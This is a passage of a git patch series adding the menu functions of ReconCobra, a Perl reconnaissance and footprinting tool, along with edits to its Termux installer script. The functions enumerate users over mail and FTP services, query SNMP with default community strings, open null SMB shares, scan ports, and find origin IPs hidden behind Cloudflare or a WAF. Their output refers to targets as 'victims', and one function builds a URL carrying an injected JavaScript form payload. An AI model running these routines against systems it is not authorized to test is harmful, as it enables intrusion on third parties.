"https://censys.io/domain/$fsbi"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("dl")) { + my @link = $p->get_trimmed_text("/dl"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi){ + print item(),"Something Went Wrong\n\n"; + } +} +print "\n\n\n"; +print item(), "Starting SSL protocol check\n\n"; +if (system("usr/share/ReconCobra/ssl.sh $fsbi") == 0) { + print item(), "success!\n"; + } + else { + print "\n",item(),"Make ssl.sh in same folder\n"; + print "\n",item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#35 Extract Users via FTP # +#--------------------------------------------------------------# +sub Extractusersfromftp { +if (system("usr/share/ReconCobra/ftp.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +# 36 Extract Users via POP3 # +#--------------------------------------------------------------# +sub Extractusersfrompop3 { +if (system("usr/share/ReconCobra/pop3.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n",item(),"Make pop3.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } +} + + +#--------------------------------------------------------------# +# 37 Extract Users via IMAP # +#--------------------------------------------------------------# +sub Extractusersfromimap { + if (system("usr/share/ReconCobra/imap.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n",item(),"Make imap.sh in same folder\n"; + print "\n",item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +# 38 Extract Users via SMTP # +#--------------------------------------------------------------# +sub Extractusersfromsmtp { + if (system("usr/share/ReconCobra/smtp.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n",item(),"Make smtp.sh in same folder\n"; + print "\n",item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#39 Extract Users via Form # +#--------------------------------------------------------------# +sub Extractusersfromform { + if (system("usr/share/ReconCobra/http-form.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make http-form.sh available in same folder\n[~] Command failed\n"; + } + { +print item(), "Enter the injection variable\n"; +$variab=; + +print item(), "Enter your email's first name"; +$email=; + +print item(), "Enter your email's domain"; +$lastemail=; + + $url = "https://$variab . javascript:void(document.forms[0].to.value=$email\@lastemail)"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + print item(),"$_\n"; + } + + + +#--------------------------------------------------------------# +#40 Extract Full Possible Information via SNMP # +#--------------------------------------------------------------# +sub Extractfullpossibleinformationfromsnmp { + print "\n", item(),"1 - Use SNMP version 1 using public string"; + print "\n", item(),"2 - Use SNMP version 1 using private string"; + print "\n", item(),"3 - Use SNMP version 2 using public string"; + print "\n", item(),"4 - Use SNMP version 2 using private string"; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/snmp1.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp1.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~2) { + if (system("usr/share/ReconCobra/snmp2.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp2.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~3) { + if (system("usr/share/ReconCobra/snmp3.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp3.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~4) { + if (system("usr/share/ReconCobra/snmp4.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp4.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } +} + +#--------------------------------------------------------------# +#41 Extract Possible Information from Certificates # +#--------------------------------------------------------------# +sub Extractpossibleinformationfromcertificaties { + if (system("usr/share/ReconCobra/crtstart.sh ") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make crt.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#42 Find Victim HTTPS Leaked Data # +#--------------------------------------------------------------# +sub Findvictimhttpsleakeddata { + if (system("usr/share/ReconCobra/inteli.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make inteli.sh available in same folder\n[~] Command failed\n"; + } + +} + + + +#--------------------------------------------------------------# +#43Find Users via sitemap # +#--------------------------------------------------------------# +sub Findusersfromsitemap { + if (system("usr/share/ReconCobra/sitemap.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#44Find Directories from robots.txt # +#--------------------------------------------------------------# +sub Finddirectoriesfromrobots { + if (system("usr/share/ReconCobra/sitemap.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#45Find all accounts by user # +#--------------------------------------------------------------# +sub Findallaccountsfromuser { + $url = "http://com.lullar.com/?q=$fafu"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + +my $mech=WWW::Mechanize->new(); +$mech->get($url); +my @foundLinks = $mech->find_all_links(); +print "\n", item(), $_->url() for @foundLinks; + + +# while($response =~/]*href="([^"]*)"[^>]*>.*<\/a>/) +# print item(),"$1 \n"; + print color('reset'); + sleep(1); + if ($response =~ m/^error/gi){ + print item(),"Something Went Wrong\n\n"; + } +} +} + + + + +#--------------------------------------------------------------# +#46 Facebook Intelligence Gathering email # +#--------------------------------------------------------------# +sub Findallaccountsfromemail { + if (system("usr/share/ReconCobra/sss.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make sss.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#47 Find all tags by account # +#--------------------------------------------------------------# +sub Findalltagsfromaccount { + if (system("usr/share/ReconCobra/fb.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make fb.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#48 DNS History # +#--------------------------------------------------------------# +sub Dnshistory { +print "\n\n", item(), "Showing relevant history of A for IPV4\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/a"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } +} + +print "\n\n", item(), "Showing relevant history of AAAA for IP6\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/aaaa"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } + +print "\n\n", item(), "Showing relevant history of Mail Servers\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/mx"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } + +print "\n\n", item(), "Showing relevant history of Name Servers\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/ns"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } + + +print "\n\n", item(), "Showing history of DNS Zone\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/soa"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } + + +print "\n\n", item(), "Showing history of DNS txt for human readable data\n\n"; + $url = "https://securitytrails.com/domain/$dnsh/history/txt"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi) { + print item(),"Something Went Wrong\n\n"; + } + + +} +} +} +} +} + +} + + +#--------------------------------------------------------------# +#49 Passive DNS Search # +#--------------------------------------------------------------# +sub Passivednssearch { + if (system("usr/share/ReconCobra/passive.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make passive.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#50 Use Common Crawl on Target # +#--------------------------------------------------------------# +sub Usecommoncrawlontarget { + print "\n", item(),"Download website using common crawl: "; + print "\n", item(),"Use JSON reader to understand JSON file structure: "; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/common1.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; + } + else { + print item(), "Make common1.sh available in same folder\n"; + print item(), "Command failed\n"; + } + } + if ($enter =~2) { + if (system("usr/share/ReconCobra/common2.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; + } + else { + print item(), "Make common2.sh available in same folder\n"; + print item(), "Command failed\n"; + } + } +} + +#--------------------------------------------------------------# +#51 Google hostname to ip # +#--------------------------------------------------------------# +sub hostnametoip { + print item(), "Resolve results will save in ShaheenX folder\n"; + print item(), "Look for required provider with hostnametoip.txt format\n"; + print item(), "Loading\n"; + sleep(7); + if (system("usr/share/ReconCobra/hostnametoip.sh") == 0) { + print item(), "success!\n"; + } + else { + print item(), "Make hostnametoip.sh available in same folder\n"; + print item(), "Command failed\n"; + } +} + +#--------------------------------------------------------------# +#52 Reverse NS Lookup # +#--------------------------------------------------------------# +sub Reversenslookup { + + $url = "https://viewdns.info/reversens/?ns=$rlu"; + $request = $ua->get($url); + $response = $request->content; + + $p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi){ + print item(),"Something Went Wrong\n\n"; +} +} +} + + + +#--------------------------------------------------------------# +#53 Forward NS Lookup # +#--------------------------------------------------------------# +sub Forwardnslookup { + + $url = "https://api.hackertarget.com/reversedns/?q=$fdl"; + $request = $ua->get($url); + $response = $request->content; + + $p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi){ + print item(),"Something Went Wrong\n\n"; +} +} +} + + +#--------------------------------------------------------------# +#54 Win - Extract Netbios Information # +#--------------------------------------------------------------# +sub Wineni { +print qq / + Microsoft Unique Network Names + ============================== + 00: Workstation Service workstation name + 03: Windows Messenger service + 06: Remote Access Service + 20: File Service also called Host Record + 21: Remote Access Service client + 1B: Domain Master Browser – Primary Domain Controller for a domain + 1C: Domain Controllers for a domain + 1D: Master Browser + 1E: Browser Service Elections + /; + + if (system("nbtscan $wineni") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } + + if (system("nmblookup -A $wineni") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } + +} + + +#--------------------------------------------------------------# +#55 Win - Contact & Extract Null Shares IPC$ # +#--------------------------------------------------------------# +sub Wingensipc { +print qq / + Microsoft Unique Network Names + ============================== + 00: Workstation Service workstation name + 03: Windows Messenger service + 06: Remote Access Service + 20: File Service also called Host Record + 21: Remote Access Service client + 1B: Domain Master Browser – Primary Domain Controller for a domain + 1C: Domain Controllers for a domain + 1D: Master Browser + 1E: Browser Service Elections + /; + + if (system("usr/share/ReconCobra/smbclient1.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } + + if (system("usr/share/ReconCobra/enumdom.sh") == 0) { + print item(),"success!\n"; + print item(),"Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; + } + else { + print item(),"Command failed\n"; + } + +} + + +#--------------------------------------------------------------# +#56 Win - Gather Full Information via Netbios # +#--------------------------------------------------------------# +sub Wingfivnetbios { + if (system("usr/share/ReconCobra/smbvul.sh") == 0) { + print item(),"success!\n"; + } + else { + print "[~] Command failed\n"; + } + + if (system("enum4linux -a $wfn") == 0) { + print item(), "success!\n"; + } + else { + print item(),"Command failed\n"; + } + +} + + +#--------------------------------------------------------------# +#57 Win - Connect to Open Netbios # +#--------------------------------------------------------------# +sub Winctonetbios { + if (system("usr/share/ReconCobra/smbclient.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } + if (system("usr/share/ReconCobra/smbclient2.sh ") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } + +} + + + + + +#--------------------------------------------------------------# +#58 Invisible Port Scanner # +#--------------------------------------------------------------# +sub Ips { + if (system("perl sixth.pl -d google.com -t $ips -s 1 -f 65535 -i wlan0") == 0) { + print item(), "success!\n"; + } + else { + print item(),"Command failed\n"; + } + +} + +#--------------------------------------------------------------# +#59 Bypass Cloud Flare # +#--------------------------------------------------------------# +sub Bypasscloudflare { + my $ua = LWP::UserAgent->new; + $ua = LWP::UserAgent->new(keep_alive => 1); + $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"); + + $ip= (gethostbyname($cloud))[4]; + my ($a,$b,$c,$d) = unpack('C4',$ip); + $ip_address ="$a.$b.$c.$d"; + if($ip_address =~ /[0-9]/){ + print item(),"CloudFlare IP: $ip_address\n\n"; + } + + $url = "https://dns-api.org/NS/$cloud"; + $request = $ua->get($url); + $response = $request->content; + +my %seen; + while($response =~m/"value": "(.*?)."/g) + { + $ns=$1; + next if $seen{$ns}++; + print item(),"NS: $ns \n"; + } + print color("bold white"),"\n"; + $url = "http://www.crimeflare.org:82/cgi-bin/cfsearch.cgi"; + $request = POST $url, [cfS => $cloud]; + $response = $ua->request($request); + $riahi = $response->content; + + if($riahi =~m/">(.*?)<\/a> /g){ + print item(),"Real IP: $1\n"; + $ip=$1; + }elsif($riahi =~m/not CloudFlare-user nameservers/g){ + print item(),"These Are Not CloudFlare-user Nameservers !!\n"; + print item(),"This Website Not Using CloudFlare Protection\n"; + }elsif($riahi =~m/No direct-connect IP address was found for this domain/g){ + print item(),"No Direct Connect IP Address Was Found For This Domain\n"; + }else{ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } + + $url = "http://ipinfo.io/$ip/json"; + $request = $ua->get($url); + $response = $request->content; + + if($response =~m/hostname": "(.*?)"/g){ + print item(),"Hostname: $1\n"; + }if($response =~m/city": "(.*?)"/g){ + print item(),"City: $1\n"; + }if($response =~m/region": "(.*?)"/g){ + print item(),"Region: $1\n"; + }if($response =~m/country": "(.*?)"/g){ + print item(),"Country: $1\n"; + }if($response =~m/loc": "(.*?)"/g){ + print item(),"Location: $1\n"; + }if($response =~m/org": "(.*?)"/g){ + print item(),"Organization: $1\n"; + } +} + + +#--------------------------------------------------------------# +#60 DNS Cached Records # +#--------------------------------------------------------------# +sub Dnscachedrecords { + $url = "http://mega-check.com/index.php?fCached=$dnscache&sCached=A "; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Target Address\n"; + } +} +} + + +#--------------------------------------------------------------# +#61 Bypass Content Management Systems WAF Firewall # +#--------------------------------------------------------------# +sub Cmswaffirewall { + $url = "http://www.abuseipdb.com/tools/ip-address-converter?ip=$cmswaf"; +# $url = "http://dnstools.fastnext.com/index.php?fDecIP=$cmswaf"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter IP Address\n"; + } +} + +my ($a, $b, $c, $d)=($cmswaf=~/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/); +print item(),"IP ", $cmswaf." is hexadecimal ".convert($a).convert($b).convert($c).convert($d), "\n"; +sub convert +{ + my ($dec)=@_; + my $hex = sprintf("%x", $dec); + $hex=length($hex) == 1 ? "0".$hex : $hex; + return (uc($hex)); + +} + +print item(),"IP for binary conversion is: "; +system("usr/share/ReconCobra/ip2bin.sh"); + + +} + + + +#--------------------------------------------------------------# +# 62 Shared NS # +#--------------------------------------------------------------# +sub SharedNS { + $url = "https://www.robtex.com/dns-lookup/$sharedns"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("td")) { + my @link = $p->get_trimmed_text("/td"); + foreach(@link) + # { print "$_\n"; } + + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/gi){ + print item(),"Something Went Wrong\n\n"; + } +} +} + + +#--------------------------------------------------------------# +#63 Master Domain Subdomains Subnet Enumeration # +#--------------------------------------------------------------# +sub MDSSE { + print item(),"1 - Enumerate Subdomains Subnet IP of Domain\n"; + print item(),"2 - Scan commong ports of subdomains subnet using nmap via file\n"; + print item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/mdsse.sh") == 0) { + print item(), "success!\n"; + } + else { + print item(),"Make mdsse.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } +if ($enter =~2) { + if (system("usr/share/ReconCobra/nmapasnlookup.sh") == 0) { + print item(), "success!\n"; + } + else { + print item(),"Make nmapasnlookup.sh available in same folder\n"; + print item(),"Command failed\n"; + + } + } +} + + +#--------------------------------------------------------------# +#64 Domain Certificate Subdomain Enumeration # +#--------------------------------------------------------------# +sub DomainCertificate() { + print item(),"1 - CRT Certificate Search\n"; + print item(),"2 - Google Transparency Certificate Search\n"; + print item(),"3 - Certspotter Certificate Search\n"; + print item(),"4 - Entrust Certificate Search\n"; + print item(),"Enter Certificate Search Engine: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/crtstart.sh") == 0) { + print item(),"success! Find results at crt folder\n"; + } + else { + print item(),"Make crtstart.sh available in same folder\n"; + print item(),"Command failed\n"; + + } +} +if ($enter =~2) { + if (system("usr/share/ReconCobra/googlegct.sh") == 0) { + print item(),"success! Find results at crt folder\n"; + } + else { + print item(),"Make googlegct.sh available in same folder\n"; + print item(),"Command failed\n"; + + } +} + +if ($enter =~3) { + if (system("usr/share/ReconCobra/certspot.sh") == 0) { + print item(),"success! Find results at crt folder\n"; + } + else { + print item(),"Make certspot.sh available in same folder\n"; + print item(),"Command failed\n"; + + } +} + +if ($enter =~4) { + if (system("usr/share/ReconCobra/entrust.sh") == 0) { + print item(),"success! Find results at crt folder\n"; + } + else { + print item(),"Make entrust.sh available in same folder\n[~] Command failed\n"; + } +} + +} + + +#--------------------------------------------------------------# +#65 Find Subdomains using API Searcher # +#--------------------------------------------------------------# +sub Apisubdomain() { + print item(),"1 - Censys API Search\n"; + print item(),"2 - Security Trails API Search\n"; + print item(),"3 - Virustotal API Search\n"; + print item(),"Enter API Search Engine: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/vasl.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make vasl.sh available in same folder\n[~] Command failed\n"; + } +} +if ($enter =~2) { + if (system("usr/share/ReconCobra/censys.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make censys.sh available in same folder\n[~] Command failed\n"; + } +} +if ($enter =~3) { + if (system("usr/share/ReconCobra/virustotal.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make censys.sh available in same folder\n[~] Command failed\n"; + } +} +} + + +#--------------------------------------------------------------# +#66 Find Cname Information of netblock # +#--------------------------------------------------------------# +sub Cname() { + print item(),"Enter desired subnet/ip/net-block or cidr for cname information\n"; + print item(),"Loading\n"; + sleep(5); + if (system("usr/share/ReconCobra/cname.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make cname.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#67 Extraction Endpoints # +#--------------------------------------------------------------# +sub endpoints() { + if (system("usr/share/ReconCobra/endpoint_extraction.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in endpoint_extraction_results folder\n"; + } + else { + print item(),"Make endpoint_extraction.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#68 Testing CORS # +#--------------------------------------------------------------# +sub cors() { + if (system("usr/share/ReconCobra/cors.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make cors.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#69 Wayback URL Download # +#--------------------------------------------------------------# +sub wayback() { + print item(),"Catuion: Downloading URL may take a while\n"; + if (system("usr/share/ReconCobra/wayback.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in wayback_results folder\n"; + } + else { + print item(),"Make wayback.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#70 Link Finder # +#--------------------------------------------------------------# +sub linkfinder() { + print item(),"Catuion: Downloading JS files may take a while\n"; + print item(),"1 - Use JS Crawler and Downloader\n"; + print item(),"2 - Use LinkFinder: "; + chomp($enter=); + if ($enter =~1) { + if (system("usr/share/ReconCobra/linkfinder1.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder1.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } + if ($enter =~2) { + if (system("usr/share/ReconCobra/linkfinder2.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder2.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } +} + + + + +#--------------------------------------------------------------# +# Enter # +#--------------------------------------------------------------# +sub enter { + print "\n"; + print item(),"Press "; + print color('bold red'),"["; + print color("bold white"),"ENTER"; + print color('bold red'),"] "; + print color("bold white"),"To Continue\n"; + + local( $| ) = ( 1 ); + + my $resp = ; + banner(); + menu(); +} + +#--------------------------------------------------------------# +# Format # +#--------------------------------------------------------------# +sub item +{ + my $n = shift // '!'; + return color('bold red')," [" + , color('bold green'),"$n" + , color('bold red'),"] " + , color("bold white") + ; +} + +sub line_u +{ + return + color('bold cyan'),"#-------------------------------------------------------------------# \n", + "# # \n"; + +} + +sub line_d +{ + return + color('bold cyan'),"# # \n", + color('bold cyan'),"#-------------------------------------------------------------------# ", + " "; +} +#--------------------------------------------------------------# +# ~~The End~~ # +#--------------------------------------------------------------# diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 57db6d2..97104f2 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -20,11 +20,6 @@ #!/bin/bash -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; @@ -32,15 +27,27 @@ echo "Termux Installer By: Hacker_Universe"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; -} -function linux() { -echo -e "$red [$green+$red]$off Installing Perl ..."; -sudo apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; + +echo -e "prerequisite install" +apt-get install wget +apt-get install make +apt-get install clang +apt-get install unzip +apt-get install tar +echo -e "Installing Perl ..."; +apt-get install -y perl +echo -e "Installing JSON Module ..."; cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize +echo -e "Installing Extra Perl Modules ..."; +echo "y" | wget https://cpan.metacpan.org/authors/id/B/BP/BPS/HTTP-Server-Simple-0.52.tar.gz +tar -xvf HTTP-Server-Simple-0.52.tar.gz +cd HTTP-Server-Simple-0.52 +perl Makefile.PL +make +make install +cd .. +echo "y" | cpan install WWW::Mechanize echo "y" | cpan install use HTML::TokeParser echo "y" | cpan install Term::ANSIColor echo "y" | cpan install Mojo::DOM @@ -53,68 +60,38 @@ echo "y" | cpan install Mozilla::CA echo "y" | cpan install Bundle::LWP -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "Y" ]; then - sudo rm -r "/usr/share/ReconCobra" - sudo rm "/usr/share/icons/ReconCobra.png" - sudo rm "/usr/share/applications/ReconCobra.desktop" - sudo rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; - chmod +x "ReconCobra"; - sudo mkdir "/usr/share/ReconCobra" - sudo cp "installer.sh" "/usr/share/ReconCobra" - sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" - sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" - sudo cp "config/ReconCobra.desktop" "/usr/share/applications" - sudo cp "ReconCobra" "/usr/local/bin/" - rm "ReconCobra"; - -echo -e "$red [$green+$red]$off Installing dependencies..." +echo -e "Installing dependencies ..."; echo "y" | apt-get install xdg-utils -echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 -echo "y" | apt-get install python3 +echo "y" | apt-get install python echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install cargo echo "y" | apt-get install gem gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git +echo "y" | https://github.com/Miladkhoshdel/corschecker.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git echo "y" | git clone https://github.com/heycam/json-describe cd json-describe cargo build cd .. +echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git pip install requests pip install request cd SearchEngineScrapy pip install -r requirements.txt -sudo virtualenv --python="2" env -sudo env/bin/activate +virtualenv --python="2" env +env/bin/activate cd .. echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git cd EyeWitness/setup @@ -124,23 +101,4 @@ cd .. cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; -sleep 2; -ReconCobra -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi +echo -e "Installed, run perl ReconCobra.pl for interface!"; \ No newline at end of file From 3ebf0b0154be0b3c3d71edd1c00787ab5f50f28d Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:37:25 +0500 Subject: [PATCH 091/272] Add files via upload --- termuxinstaller.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 97104f2..eaa4a1f 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -101,4 +101,4 @@ cd .. cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra -echo -e "Installed, run perl ReconCobra.pl for interface!"; \ No newline at end of file +echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file From e4ad1c6723cec46e93fe04e19033c9c8179efbce Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:38:16 +0500 Subject: [PATCH 092/272] 